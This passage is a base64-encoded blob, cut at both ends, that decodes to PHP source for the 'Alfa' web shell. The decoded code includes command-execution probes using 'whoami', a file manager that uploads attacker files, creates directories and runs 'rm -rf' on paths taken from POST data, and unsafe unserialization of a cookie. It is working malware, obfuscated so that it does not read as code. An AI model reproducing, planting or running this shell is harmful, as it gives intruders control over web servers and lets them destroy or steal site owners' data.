HsKZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7CmZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQpmdW5jdGlvbiBhbGZhV2hpY2goJHApIHsKJHBhdGggPSBhbGZhRXgoJ3doaWNoICcgLiAkcCxmYWxzZSxmYWxzZSk7CmlmKCFlbXB0eSgkcGF0aCkpCnJldHVybiBzdHJsZW4oJHBhdGgpOwpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWxmYVNpemUoJHMpIHsKaWYoJHMgPj0gMTA3Mzc0MTgyNCkKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwplbHNlaWYoJHMgPj0gMTA0ODU3NikKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKZWxzZWlmKCRzID49IDEwMjQpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CmVsc2UKcmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBhbGZhUGVybXMoJHApIHsKaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3PigIsnOwplbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2zigIsnOwplbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy3igIsnOwplbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2LigIsnOwplbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2TigIsnOwplbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2PigIsnOwplbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3DigIsnOwplbHNlICRpID0gJ3XigIsnOwokaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdy4oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwODApID8gJ3figIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdz4oCLJyA6ICd44oCLJyApIDogKCgkcCAmIDB4MDgwMCkgPyAnU+KAiycgOiAnLScpKTsKJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncuKAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd34oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAnc+KAiycgOiAneOKAiycgKSA6ICgoJHAgJiAweDA0MDApID8gJ1PigIsnIDogJy0nKSk7CiRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3LigIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAnd+KAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3TigIsnIDogJ3jigIsnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdU4oCLJyA6ICctJykpOwpyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gYWxmYVBlcm1zQ29sb3IoJGYsJGlzYmFzaD1mYWxzZSl7CiRjbGFzcyA9ICIiOwokbnVtID0gIiI7CiRodW1hbiA9ICIiOwppZigkaXNiYXNoKXsKJGNsYXNzID0gJGZbImNsYXNzIl07CiRudW0gPSAkZlsibnVtIl07CiRodW1hbiA9ICRmWyJodW1hbiJdOwp9ZWxzZXsKJG51bSA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGYpKSwtNCk7CiRodW1hbiA9IGFsZmFQZXJtcyhAZmlsZXBlcm1zKCRmKSk7CmlmKCFAaXNfcmVhZGFibGUoJGYpKQokY2xhc3MgPSAibWFpbl9yZWRfcGVybSI7CmVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCiRjbGFzcyA9ICJtYWluX3doaXRlX3Blcm0iOwplbHNlCiRjbGFzcyA9ICJtYWluX2dyZWVuX3Blcm0iOwp9CnJldHVybiAnPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJG51bS4nPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJiZWV0d2Vlbl9wZXJtcyI+ID4+IDwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iJy4kY2xhc3MuJyI+Jy4kaHVtYW4uJzwvc3Bhbj4nOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewpmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKJGRoID0gb3BlbmRpcigkZGlyKTsKd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkKJGZpbGVzW10gPSAkZmlsZW5hbWU7CnJldHVybiAkZmlsZXM7Cn0KfQpmdW5jdGlvbiByZUFycmF5RmlsZXMoJGZpbGVfcG9zdCl7CiRmaWxlX2FyeSA9IGFycmF5KCk7CiRmaWxlX2NvdW50ID0gY291bnQoJGZpbGVfcG9zdFsnbmFtZSddKTsKJGZpbGVfa2V5cyA9IGFycmF5X2tleXMoJGZpbGVfcG9zdCk7CmZvciAoJGk9MDsgJGk8JGZpbGVfY291bnQ7ICRpKyspIHsKZm9yZWFjaCAoJGZpbGVfa2V5cyBhcyAka2V5KSB7CiRmaWxlX2FyeVskaV1bJGtleV0gPSAkZmlsZV9wb3N0WyRrZXldWyRpXTsKfQp9CnJldHVybiAkZmlsZV9hcnk7Cn0KZnVuY3Rpb24gX2FsZmFfY2FuX3J1bkNvbW1hbmQoJGNnaT10cnVlLCRjYWNoZT10cnVlKXsKCWlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdKSYmJGNhY2hlKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCWlmKHN0cmxlbihhbGZhRXgoIndob2FtaSIsZmFsc2UsJGNnaSkpPjApewoJCSRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdID0gdHJ1ZTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBfYWxmYV9zeW1saW5rKCR0YXJnZXQsICRsaW5rKXsKCSRwaHBzeW0gPSBmdW5jdGlvbl9leGlzdHMoInN5bWxpbmsiKTsKCWlmKCRwaHBzeW0pewoJCUBzeW1saW5rKCR0YXJnZXQsICRsaW5rKTsKCX1lbHNlewoJCWFsZmFFeCgibG4gLXMgJyIuYWRkc2xhc2hlcygkdGFyZ2V0KS4iJyAnIi5hZGRzbGFzaGVzKCRsaW5rKS4iJyIpOwoJfQp9CmZ1bmN0aW9uIF9hbGZhX2ZpbGVfZXhpc3RzKCRmaWxlLCRjZ2k9dHJ1ZSl7CglpZihAZmlsZV9leGlzdHMoJGZpbGUpKXsKCQlyZXR1cm4gdHJ1ZTsKCX1lbHNlewoJCWlmKHN0cmxlbihhbGZhRXgoImxzIC1sYSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApewoJCQlyZXR1cm4gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gX2FsZmFfZmlsZSgkZmlsZSwkY2dpPXRydWUpewoJJGFycmF5ID0gQGZpbGUoJGZpbGUpOwoJaWYoISRhcnJheSl7CgkJaWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLCRjZ2kpKT4wKXsKCQkJJGRhdGEgPSBhbGZhRXgoJ2NhdCAiJy5hZGRzbGFzaGVzKCRmaWxlKS4nIicsZmFsc2UsJGNnaSk7CgkJCWlmKHN0cmxlbigkZGF0YSk+MCl7CgkJCQlyZXR1cm4gZXhwbG9kZSgiXG4iLCAkZGF0YSk7CgkJCX1lbHNlewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfWVsc2V7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9ZWxzZXsKCQlyZXR1cm4gJGFycmF5OwoJfQp9CmZ1bmN0aW9uIF9hbGZhX2lzX3dyaXRhYmxlKCRmaWxlKXsKCSRjaGVjayA9IGZhbHNlOwoJJGNoZWNrID0gQGlzX3dyaXRhYmxlKCRmaWxlKTsKCWlmKCEkY2hlY2spewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBhbGZhRXgoJ1sgLXcgIicudHJpbShhZGRzbGFzaGVzKCRmaWxlKSkuJyIgXSAmJiBlY2hvICJ5ZXMiIHx8IGVjaG8gIm5vIicpOwoJCQlpZigkY2hlY2sgPT0gInllcyIpewoJCQkJJGNoZWNrID0gdHJ1ZTsKCQkJfWVsc2V7CgkJCQkkY2hlY2sgPSBmYWxzZTsKCQkJfQoJCX0KCX0KCXJldHVybiAkY2hlY2s7Cn0KZnVuY3Rpb24gX2FsZmFfaXNfZGlyKCRkaXIsJG1vZGU9Ii1kIil7CgkkY2hlY2sgPSBmYWxzZTsKCSRjaGVjayA9IEBpc19kaXIoJGRpcik7CglpZigkbW9kZSA9PSAiLWUiKXsKCQkkY2hlY2sgPSBAaXNfZmlsZSgkZGlyKTsKCX0KCWlmKCEkY2hlY2spewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBhbGZhRXgoJ1sgIicudHJpbSgkbW9kZSkuJyIgIicudHJpbShhZGRzbGFzaGVzKCRkaXIpKS4nIiBdICYmIGVjaG8gInllcyIgfHwgZWNobyAibm8iJyk7CgkJCWlmKCRjaGVjayA9PSAieWVzIil7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfWVsc2V7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9Cgl9CglyZXR1cm4gJGNoZWNrOwp9CmZ1bmN0aW9uIF9hbGZhX2xvYWRfYWNlX29wdGlvbnMoJGJhc2UpewoJcmV0dXJuICc8c3Bhbj5UaGVtZTogPC9zcGFuPjxzZWxlY3QgY2xhc3M9ImFjZS1jb250cm9sZXIgYWNlLXRoZW1lLXNlbGVjdG9yIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJhbGZhQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwndGhlbWVcJyk7Ij48b3B0aW9uIHZhbHVlPSJ0ZXJtaW5hbCIgc2VsZWN0ZWQ+dGVybWluYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbWJpYW5jZSI+YW1iaWFuY2U8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaGFvcyI+Y2hhb3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaHJvbWUiPmNocm9tZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNsb3VkcyI+Y2xvdWRzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY2xvdWRzX21pZG5pZ2h0Ij5jbG91ZHNfbWlkbmlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjb2JhbHQiPmNvYmFsdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNyaW1zb25fZWRpdG9yIj5jcmltc29uX2VkaXRvcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRhd24iPmRhd248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJkcmFjdWxhIj5kcmFjdWxhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZHJlYW13ZWF2ZXIiPmRyZWFtd2VhdmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZWNsaXBzZSI+ZWNsaXBzZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImdpdGh1YiI+Z2l0aHViPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZ29iIj5nb2I8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJncnV2Ym94Ij5ncnV2Ym94PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iaWRsZV9maW5nZXJzIj5pZGxlX2ZpbmdlcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJpcGxhc3RpYyI+aXBsYXN0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrYXR6ZW5taWxjaCI+a2F0emVubWlsY2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrcl90aGVtZSI+a3JfdGhlbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrdXJvaXIiPmt1cm9pcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1lcmJpdm9yZSI+bWVyYml2b3JlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWVyYml2b3JlX3NvZnQiPm1lcmJpdm9yZV9zb2Z0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibW9ub19pbmR1c3RyaWFsIj5tb25vX2luZHVzdHJpYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb25va2FpIj5tb25va2FpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibm9yZF9kYXJrIj5ub3JkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwYXN0ZWxfb25fZGFyayI+cGFzdGVsX29uX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfZGFyayI+c29sYXJpemVkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfbGlnaHQiPnNvbGFyaXplZF9saWdodDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbHNlcnZlciI+c3Fsc2VydmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGV4dG1hdGUiPnRleHRtYXRlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3ciPnRvbW9ycm93PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHQiPnRvbW9ycm93X25pZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfYmx1ZSI+dG9tb3Jyb3dfbmlnaHRfYmx1ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InRvbW9ycm93X25pZ2h0X2JyaWdodCI+dG9tb3Jyb3dfbmlnaHRfYnJpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXMiPnRvbW9ycm93X25pZ2h0X2VpZ2h0aWVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idHdpbGlnaHQiPnR3aWxpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idmlicmFudF9pbmsiPnZpYnJhbnRfaW5rPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieGNvZGUiPnhjb2RlPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4+TGFuZ3VhZ2U6IDwvc3Bhbj48c2VsZWN0IGNsYXNzPSJhY2UtY29udHJvbGVyIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJhbGZhQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwnbGFuZ1wnKTsiPjxvcHRpb24gdmFsdWU9InBocCI+cGhwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icHl0aG9uIj5weXRob248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwZXJsIj5wZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY19jcHAiPmMvYysrPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3NoYXJwIj5jIzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InJ1YnkiPnJ1Ynk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJodG1sIj5odG1sPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iamF2YXNjcmlwdCI+amF2YXNjcmlwdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNzcyI+Y3NzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieG1sIj54bWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzcWwiPnNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InN3aWZ0Ij5zd2lmdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNoIj5iYXNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibHVhIj5sdWE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3dlcnNoZWxsIj5wb3dlcnNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNwIj5qc3A8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqYXZhIj5qYXZhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNvbiI+anNvbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBsYWluX3RleHQiPnBsYWluX3RleHQ8L29wdGlvbj48L3NlbGVjdD48c3Bhbj5Tb2Z0IFdyYXA6IDwvc3Bhbj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IndyYXBtb2RlIiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgb25DbGljaz0iYWxmYUFjZUNoYW5nZVdyYXBNb2RlKHRoaXMsXCcnLiRiYXNlLidcJyk7IiBjaGVja2VkPiB8IDxzcGFuPkZvbnQgU2l6ZTogPC9zcGFuPjxidXR0b24gY2xhc3M9ImFjZS1jb250cm9sZXIiIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImFsZmFBY2VDaGFuZ2VGb250U2l6ZShcJycuJGJhc2UuJ1wnLFwnK1wnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4rPC9idXR0b24+IHwgPGJ1dHRvbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgb25jbGljaz0iYWxmYUFjZUNoYW5nZUZvbnRTaXplKFwnJy4kYmFzZS4nXCcsIFwnLVwnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4tPC9idXR0b24+IHwgJzsKfQpmdW5jdGlvbiBhbGZhRmlsZXNNYW4yKCl7CglhbGZhaGVhZCgpOwoJQWxmYU51bSg4LDksMTAsNyw2LDUsNCk7CgllY2hvICc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5faG9sZGVyXzEiIGNsYXNzPSJhamF4YXJlYSBmaWxlc21hbi1hY3RpdmUtY29udGVudCI+PGRpdiBjbGFzcz0iaGVhZGVyIj48L2Rpdj48L2Rpdj4nOwoJYWxmYUZvb3RlcigpOwp9CmZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewppZihAaXNfZGlyKCRjLiRzKSl7CkBta2RpcigkZC4kcyk7CiRoID0gQG9wZW5kaXIoJGMuJHMpOwp3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpCkBjb3B5KCRjLiRzLCAkZC4kcyk7Cn0KZnVuY3Rpb24gYWxmYUZpbGVzTWFuKCl7CmlmKCFlbXB0eSAoJF9DT09LSUVbJ2FsZmFfZiddKSkKJF9DT09LSUVbJ2FsZmFfZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydhbGZhX2YnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsKc3dpdGNoKCRfUE9TVFsnYWxmYTEnXSl7CmNhc2UgJ3VwbG9hZEZpbGUnOgokbW92ZV9jbWRfZmlsZSA9IGZhbHNlOwokYWxmYV9jYW5ydW5jbWQgPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkYWxmYV9jYW5ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOwoJJG1vdmVfY21kX2ZpbGUgPSB0cnVlOwp9CmlmKF9hbGZhX2lzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSkpewokZmlsZXMgPSByZUFycmF5RmlsZXMoJF9GSUxFU1snZiddKTsKJHJldF9maWxlcyA9IGFycmF5KCk7CmZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKaWYoJG1vdmVfY21kX2ZpbGUmJiRhbGZhX2NhbnJ1bmNtZCl7CglhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlWyd0bXBfbmFtZSddKS4iJyA+ICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRmaWxlWyduYW1lJ10pLiInIik7Cn1lbHNlewoJaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwkZmlsZVsnbmFtZSddKSl7CgkJJG93ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlWyduYW1lJ10pKTphcnJheSgibmFtZSIgPT4gIj8/Pz8iKTsKCQkkZ3IgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGVbJ25hbWUnXSkpOmFycmF5KCJuYW1lIiA9PiAiPz8/PyIpOwoJCSRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX2dyb3VwID0gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZpbGVbJ25hbWUnXSkpOwoJCSRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcigkZmlsZVsnbmFtZSddKTsKCQkkZmlsZV9zaXplID0gQGZpbGVzaXplKCRmaWxlWyduYW1lJ10pOwoJCSRyZXRfZmlsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkZmlsZVsnbmFtZSddLCAic2l6ZSIgPT4gYWxmYVNpemUoJGZpbGVfc2l6ZSksICJwZXJtIiA9PiAkZmlsZV9wZXJtLCAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJvd25lciIgPT4gJGZpbGVfb3duZXIuIi8iLiRmaWxlX2dyb3VwKTsKCX0KfQp9CmlmKCEkbW92ZV9jbWRfZmlsZSl7CgllY2hvIGpzb25fZW5jb2RlKCRyZXRfZmlsZXMpOwp9Cn1lbHNlewoJZWNobyAibm9wZXJtIjsKCXJldHVybjsKfQppZighJG1vdmVfY21kX2ZpbGUpewpyZXR1cm47Cn0KYnJlYWs7CmNhc2UgJ21rZGlyJzoKJG5ld19kaXJfY21kID0gZmFsc2U7CmlmKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pewoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7CgkJCWlmKCFfYWxmYV9pc19kaXIodHJpbSgkX1BPU1RbJ2FsZmEyJ10pKSl7CgkJCQlhbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO21rZGlyICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pKS4iJyIpOwoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCQl9Cgl9ZWxzZXsKCQllY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdDYW5cJ3QgY3JlYXRlIG5ldyBkaXIgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfWVsc2V7CglpZihfYWxmYV9pc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pKXsKCQlpZighX2FsZmFfaXNfZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpewoJCQlpZighQG1rZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpewoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignQ2FuXCd0IGNyZWF0ZSBuZXcgZGlyICEnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX1lbHNlewoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9CgkJfWVsc2V7CgkJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJfQoJfWVsc2V7CgkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKXsKJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKJGRoID0gQG9wZW5kaXIoJHBhdGgpOwp3aGlsZSgoJGl0ZW0gPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewokaXRlbSA9ICRwYXRoLiRpdGVtOwppZigoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSkKY29udGludWU7CiR0eXBlID0gQGZpbGV0eXBlKCRpdGVtKTsKaWYgKCR0eXBlID09ICJkaXIiKQpkZWxldGVEaXIoJGl0ZW0pOwplbHNlCkB1bmxpbmsoJGl0ZW0pOwp9CkBjbG9zZWRpcigkZGgpOwpAcm1kaXIoJHBhdGgpOwp9CmlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCmZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpewppZigkZiA9PSAnLi4nKQpjb250aW51ZTsKJGYgPSByYXd1cmxkZWNvZGUoJGYpOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCWFsZmFFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10uJy8nLiRmKS4iJyIpOwoJfQp9ZWxzZXsKYWxmYUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkZikuIiciLGZhbHNlLGZhbHNlKTsKaWYoQGlzX2RpcigkZikpCmRlbGV0ZURpcigkZik7CmVsc2UKQHVubGluaygkZik7Cn0KfQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSE9Jy4uJyl7CmRlbGV0ZURpcihyYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSkpOwphbGZhR